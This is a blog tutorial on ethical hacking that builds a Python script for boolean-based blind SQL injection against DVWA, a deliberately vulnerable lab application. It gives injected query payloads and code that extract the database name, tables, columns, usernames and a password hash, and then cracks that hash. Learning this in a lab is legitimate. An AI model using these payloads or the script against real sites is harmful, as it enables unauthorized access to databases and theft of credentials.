StackZero
  • Homepage
  • Cryptography and Privacy
  • Ethical Hacking
  • Reverse Engineering
  • Contacts
  • About Me
No Result
View All Result
StackZero
No Result
View All Result

Blind SQL injection: How To Hack DVWA With Python (Low Security)

October 18, 2022
in Ethical Hacking
0 0
Blind SQL injection: How To Hack DVWA With Python (Low Security)
0
SHARES
4.1k
VIEWS
Share on FacebookShare on Twitter

Here is another article that will show how to exploit a known vulnerability in practice.
In particular, this time we will exploit the blind SQL injection section of DVWA by using Python.

I want to show you an all-in-one script that once running will get all information you need to get the admin password in an environment where you cannot see query results.

This is how will be the final result:

There are a lot of ways to solve the challenge, but I have chosen to use a custom script for these main reasons:

  • We have to perform numerous calls and the Burp Suite Community edition has a limit on the number of threads for the intruder
  • I don’t want to depend on an external tool
  • The best way to understand something is to make it by yourself

I’m fully aware that a professional tool would be better for a Penetration Tester, anyway this blog is the place where we are learning, and I cannot see a better approach.


Also because knowing the foundation make you able to use every tool!

Table of Contents

Toggle
  • What is Blind SQL Injection?
    • In-Band SQL injection
    • Blind SQL injection
  • Prerequisites
  • Step #0: Take A Look To The Web Application
  • Step #1: Check The Query Result
  • Step #2: Manage The Login to DVWA and CSRF Token
  • Step #3: Get The DB Name in a Blind SQLi attack
  • Step #4: Get The Tables’ Names in a Blind SQLi attack
  • Step #5: Get the columns’ names in a Blind SQLi attack
  • Step #6: Get the users’ names in a Blind SQLi attack
  • Step #7: Get the user’s password in a Blind SQLi attack
  • Step #8: Crack password in a Blind SQLi attack
  • Conclusion

What is Blind SQL Injection?

Blind SQL Injection is nearly identical to normal SQL Injection, the only difference being that the database does not output data to the web page.
The page with the vulnerability may not display any data but may do something such as display the current username.
So, an attacker is forced to steal data by asking the database:

  • A series of true or false questions (Boolean-Based.
  • A series of time-based queries relying on the sleep function (Time-Based).

This makes exploiting the SQL Injection vulnerability more difficult, but not impossible as the attacker may be able to deduce the result.

Such an attack can be time-intensive due to the need to craft a new statement for each bit recovered and may consist of many unsuccessful requests.
However, tools exist to automate the process of identifying and exploiting such blind SQL injection vulnerabilities.
It’s also possible to automate the process by using your programming skill, and this is the way we operate in the next paragraphs.

We have seen in the previous tutorials what SQL injection is and how to do this type of attack.

If you think you’re not well-acquainted with SQL injection, I suggest you don’t continue before reading the previous articles:

In-Band SQL injection

  • SQL Injection: What You Need to Know
  • Learn SQL injection in practice by hacking vulnerable application!
  • How To Hack With SQL Injection Attacks! DVWA low security
  • Hack With SQL Injection Attacks! DVWA medium security
  • Hack With SQL Injection Attacks! DVWA high security
  • Mastering SQL Injection on DVWA Low Security with Burp Suite: A Comprehensive Guide
  • Mastering DVWA SQL Injection: Medium Security with Burp Suite

Blind SQL injection

  • Blind SQL injection: How To Hack DVWA With Python (Low Security)
  • Blind SQL Injection: How To Hack DVWA With Python (Medium Security)
  • Blind SQL Injection: How To Hack DVWA With Python (High Security)

Prerequisites

As you would have understood, Blind SQL Injection exploitation with Python requires more work, even if we set low security on DVWA.

I assume you are working on a Kali Linux machine, anyway, that would work everywhere if you have Python 3 installed.

Before starting, you should install two fundamental libraries by using pip:

  • requests
  • BeautifulSoup

By typing on your terminal the following commands:

pip install beautifulsoup4 requests

Another thing you will need in order to get the best from this tutorial is a utils file that I’ve written for you.

You can get it from GitHub at this link or maybe you can just copy/paste the following code into a file living in the same directory as your main script.

It provides you with a set of classes to make easier the connection with DVWA and manage the CSRF token.
I did that to make you focus just on Blind SQL injection.
Obviously, we could also get the session token from the browser, but I found that extremely uncomfortable.

Now we are ready, let’s open our main.py file which will contain the script and let’s start by importing the utils.py

from utils import *

Step #0: Take A Look To The Web Application

As usual, I’m testing this Python script for blind SQL injection on a DVWA machine with a low level of security from TryHackMe.

We already have seen here how to set up what we need.

So let’s connect to the given IP and put:

  • username: admin
  • password: password
dvwa login

After that, go to settings and set the security level as “low” as the picture below shows.

dvwa security level

Now we set the security as low, we can click on SQL Injection (Blind) in the menu on the left and see the DVWA’s vulnerability before writing our Python script.

From here we can infer a bunch of information, let’s see what.

First of all, we can try to insert a random value and look at the result, for example, try with “1”

blind sql injection dvwa true response without python

If we do the same with a higher number like “100” the result is:

blind sql injection dvwa false response without python

By looking at the URL in the browser’s bar, we see something like this:

http://10.10.201.172/vulnerabilities/sqli_blind/?id=100&Submit=Submit#

That indicates that the query is passed as an HTTP GET request.

The last piece of information before putting your hand to the code is checking if the input is vulnerable.

Let’s try to insert: 1' OR 1=1#

It says that the user exists, so we get a clear indication of the presence of the vulnerability.

Step #1: Check The Query Result

Even if it should be a quick script, we don’t want to repeat ourselves, so we can define a function that builds the query, calls to the server, and returns true if the server gives us a positive response and false otherwise.

def get_query_result(s, sqli_blind_url, query, *args):
    try:
        concrete_query = query.format(*args)
        response = s.get(f"{sqli_blind_url}?id={concrete_query}&Submit=Submit#")
        parser = DVWASQLiResponseParser(response)
        return parser.check_presence("exist")
    except AttributeError as e:
        return False

It takes a variable number of arguments, formats the query and uses the parser from the utils to get the response.
Obviously, there is not a strong error checking, but our goal is to replace Burp and learn as much as possible about Blind SQL injection, and not about software architecture!

Step #2: Manage The Login to DVWA and CSRF Token

The classes I provided you are in charge to manage the login and the whole session, in a way to hide all the internals.
If you want to operate in DVWA, you just need to put all your code into the with clause and use GET/POST methods on the DVWASessionProxy as you would do with a classic session from requests.

You can also directly set the security property from the proxy.

This is a minimal example:

with DVWASessionProxy(BASE_URL) as s:
    s.security = SecurityLevel.LOW
    # Put here your code

Ok, we are done with the preparation, it’s time to write our main function, but before starting with the real code, we have to write in a very visible place a variable containing the target IP.

That’s required because it changes for every instance, so let’s declare it:

if __name__ == "__main__":
    BASE_URL = "http://10.10.227.17" #change this value with the ip of DVWA machine
    sqli_blind_url = f"{BASE_URL}/vulnerabilities/sqli_blind"

Step #3: Get The DB Name in a Blind SQLi attack

We cannot simply print the name of the database as we did for SQL injection, so in this case, we need to get the length and then try to guess char-by-char.

We have seen from the GUI in the introduction that there is no input control, so we can take advantage of that.
First, we need to run a query like this:
"1' AND LENGTH(DATABASE()) = n #"

where n changes.
There is a little problem, the hashtag in the URL indicates the end of that (here you can see an explanation), so we should replace it with its URL-encoded equivalent: “%23”.

So we can choose an arbitrary long n and loop until the response does contain the “exists” word.

This is how we do it in Python:

        query = "1' AND LENGTH(DATABASE()) = {} %23"
        length = 0
        for i in range(10):
            if get_query_result(s, sqli_blind_url, query, i):
                print(f"[+] The DB's name length is {i}")
                length = i

Once we saved the length of the database’s name into a variable, we can try to guess it.

This time, we want to check every char of the string from position one to the last position and compare it with every possible character.
Obviously, if we guess the char, the application will return “User id exists…”. We just need to build a string with all the right characters.
The code is:

        query = "1' AND SUBSTRING(DATABASE(), {}, 1) = '{}'%23"
        dbname = []

        for i in range(1, length+1):
            for c in string.ascii_lowercase:
                if get_query_result(s, sqli_blind_url, query, i, c):
                    dbname.append(c)
                    break
        dbname = "".join(dbname)
        print(f'[+] Found a database with name: {dbname}')

This code has two nested loops, the outer one is the index of the character, and the inner one instead is in charge of testing every char in the “string.ascii_lowercase” set.

Finally, we got the name of the database, and it’s stored in the variable “dbname”.

NB: I used the SUBSTRING function to get the character, it takes as arguments:

  • The main string
  • The position of the first substring’s character
  • The number of characters of the substring

Step #4: Get The Tables’ Names in a Blind SQLi attack

The next step is similar to the previous one, this time the goal is to get the names of all the tables inside the database, and before doing that, even this time, we need to know how many tables there are.

We can do it thanks to the COUNT function in MySQL by looping over an arbitrary number of integers( we can increase the range if the final number is equal to the maximum):

query = "1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_type='base table' AND table_schema='{}')='{}'%23"
n_tables = 0
for i in range(1, 10):
    if get_query_result(s, sqli_blind_url, query, dbname, i):
        print(f"[+] It has {i} tables")
        n_tables = i
        break

Once we have the number of tables we have to do what we have done for guessing the DB name, the only difference is that we need to do that for every table.

The query we are going to inject is the following:

"1' AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_type='base table' AND table_schema='dvwa' LIMIT 1),{},1)='{}'%23"

This query takes advantage of meta tables as the previous one, and the principle is exactly what we saw.
The difference is that the result is a list of elements, so we need to LIMIT them to one before extracting the characters. We can do that thanks to the SQL LIMIT clause.

Probably your question at this point is:

Once I found the first table, how can I go to the next one?

There are different techniques, here I will use a chain of WHERE table_name <> 'found_table_name' (built inside the variable completion).
In the next sections, I’ll show you how to do the same with the LIMIT clause, in the same way, programmers implement pagination within their applications.

query = "1' AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_type='base table' AND table_schema='{}' {} LIMIT 1),{},1)='{}'%23"
        
found_tables = [[] for _ in range(n_tables)]
completion = ""
for i in range(n_tables):        
    for j in range(1, 10):
        for c in string.ascii_lowercase:
            if get_query_result(s, sqli_blind_url, query, dbname, completion, j, c):
                found_tables[i].append(c)
                break
    print("\t","".join(found_tables[i]))
    completion += f" AND table_name <> '{''.join(found_tables[i])}'"

Pretty good, from now we have almost seen everything we need for implementing this exploit!
You are probably realizing how a blind SQL injection can be tricky even if we are on DVWA with a low level of security, even if you decide to don’t use Python, a working exploit could require a big effort.

Step #5: Get the columns’ names in a Blind SQLi attack

We are almost to the most interesting part, now we need to get the column names.
As we did previously, I want to know the number of columns and then get the names.
I will also provide the script’s user with the possibility to interrupt the loop with CTRL+C when he sees the tables we need (the ones containing the username and password). It will save a bit more time.

The user has also to insert the target table so that, in the end, we can run the script once and get the username and password.

users_table = input("Type the tabname to attack: ")
query = "1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{}')='{}'%23"
    
n_columns = 0
for i in range(1, 10):
    if get_query_result(s, sqli_blind_url, query, users_table, i):
        print(f"[+] It has {i} columns")
        n_columns = i
        break

Getting the number of columns It’s exactly what we already did, so we can skip and see how to get the columns’ names.

query = "1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{}' LIMIT {}, 1),{},1)='{}'%23"
    
found_columns = [[] for _ in range(n_columns)]
completion = ""
print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns")
try:
    for i in range(n_columns):        
        for j in range(1, 12):
            for c in string.ascii_lowercase:
                if get_query_result(s, sqli_blind_url, query, users_table, i, j, c):
                    found_columns[i].append(c)
                        
                    break
        print("\t","".join(found_columns[i]))
except KeyboardInterrupt as e:
    print("\nSkipping this phase!")

It is not so different from what we did to query the tables’ names, however, pay attention to the usage of the LIMIT clause, as we can see here this clause allows us also to specify the offset, in a way that we can get the n-th element.

Step #6: Get the users’ names in a Blind SQLi attack

This is the step where we get all the usernames.
After enumerating the columns we can let the user choose the column with usernames and the column with passwords and then proceed with the users’ guessing.

This phase is not so much different from the previous one, we are just listing all usernames and making the user able to stop the research and go to the next step!

users_column = input("Type the name of the column containing usernames: ")
passwords_column = input("Type the name of the column containing passwords: ")

query = "1' AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)='{}'%23"
    
found_users = [[] for _ in range(10)]
completion = ""
print("[!] In order to speed up, try to press CTRL+C when you find the target user")
try:
    for i in range(10):        
        for j in range(1, 12):
            for c in string.ascii_letters+string.digits:
                if get_query_result(s, sqli_blind_url, query, users_column, users_table, i, j, c):
                    found_users[i].append(c)
                        
                    break
        print("\t","".join(found_users[i]))
except KeyboardInterrupt as e:
    print("\n Skipping this phase!")

This code will list every user in the table, when we are done, we can stop and start the password guessing.

Step #7: Get the user’s password in a Blind SQLi attack

We are at the end of our attack.

What we have seen until now it’s enough to understand how we can guess the password, so I’ll just show you the code that:

  • Asks for the target user
  • Guess the password length
  • Guess the user’s password
query = "1' AND LENGTH((SELECT {} FROM {} WHERE {}='{}'))={}%23"
pwd_length = 0
for i in range(100):
        
    if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, i ):
        pwd_length = i
        print(f"[+] The password length is: {i}")
        
query = "1' AND SUBSTR((SELECT {} FROM {} WHERE {}='{}' LIMIT 1), {}, 1)='{}'%23"
password = []
for j in range(1, pwd_length+1):
        
    for c in string.ascii_letters+string.digits:
            
        if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, j, c):
                password.append(c)
                
            break
print("[+] Password is: ","".join(password))  

Step #8: Crack password in a Blind SQLi attack

Finally, everything is done, and it’s time to check if we can perform a Blind SQL injection on DVWA just by using a single Python script!

Let’s run the Blind SQLi attack to the DVWA instance by typing on the terminal:

python main.py

And this is the awesome result that we have already seen in the introduction!

DVWA SQLi attack with python low security result

The password, as usual in DVWA and in every real database is hashed, so let’s copy-paste the result into Crackstation.

blind sql injection dvwa password cracking

And we have the result!

Probably you want to see the whole code, so that’s it!

Conclusion

This article is very long with respect to the other ones, so I won’t dwell anymore.

I hope you find it interesting and maybe you learned as much as I did.
This knowledge would be fine for whatever you do in the IT field.
I had a lot of fun with this project and I hope to extend it.
If you like my work follow me on my social and if you want to give me feedback feel free to use the contacts form!

I just want to conclude with an idea:

Running this script has not had so many performance gaps with respect to Burp Suite Community Edition, so try to perform the most time-consuming tasks by using threads!

Thank you for your attention!

Tags: application securityblind sql injectionblind sqlicybersecuritydvwapythonsql injectionsqlivulnerable applicationweb application securityweb exploitationweb security
Previous Post

How to exploit DOM XSS on DVWA

Next Post

Blind SQL Injection: How To Hack DVWA With Python (Medium Security)

Next Post
Blind SQL Injection: How To Hack DVWA With Python (Medium Security)

Blind SQL Injection: How To Hack DVWA With Python (Medium Security)

You might also like

Cryptographic functions

Cryptographic Hash Functions in Python: Secure Your Data Easily

November 3, 2024
Malware Obfuscation Techniques: All That You Need To Know

Malware Obfuscation Techniques: All That You Need To Know

March 25, 2024
How To Do Process Enumeration: An Alternative Way

How To Do Process Enumeration: An Alternative Way

March 4, 2024
How To Do DLL Injection: An In-Depth Cybersecurity Example

How To Do DLL Injection: An In-Depth Cybersecurity Example

February 8, 2024
Process Injection By Example: The Complete Guide

Process Injection By Example: The Complete Guide

January 24, 2024
How To Build Your Own: Python String Analysis for Malware Insights

How To Build Your Own: Python String Analysis for Malware Insights

November 10, 2023

StackZero

StackZero is a specialized technical blog dedicated to the realm of cybersecurity. It primarily provides insightful articles and comprehensive tutorials designed to educate readers on developing security tools. The blog encompasses a broad spectrum of subjects, starting from the foundational principles of cryptography and extending to more sophisticated areas such as exploitation and reverse engineering. This makes StackZero an invaluable resource for both beginners and professionals in the field of cybersecurity.
The blog covers a wide range of topics, from the basics of cryptography to the more advanced topics of exploitation and reverse engineering.

Tags

application security blind sqli blind sql injection bruteforce c cesar cipher command injection cryptography ctf cybersecurity debugging dom-based xss dvwa ethical-hacking ethical hacking exploitation file inclusion gdb hacking injection javascript malware malware analysis malware evasion network-security pentesting lab picoctf pico ctf python reflected xss reverse engineering sql sqli sql injection static analysis stored xss substitution substitution cipher vulnerable application web application security web exploitation web security windows windows api xss
  • About Me
  • Contacts
  • HomePage
  • Opt-out preferences
  • Privacy Policy
  • Terms and Conditions

Welcome Back!

Login to your account below

Forgotten Password?

Retrieve your password

Please enter your username or email address to reset your password.

Log In
Manage Cookie Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
Manage options Manage services Manage {vendor_count} vendors Read more about these purposes
View preferences
{title} {title} {title}
No Result
View All Result
  • Homepage
  • Cryptography and Privacy
  • Ethical Hacking
  • Reverse Engineering
  • Contacts
  • About Me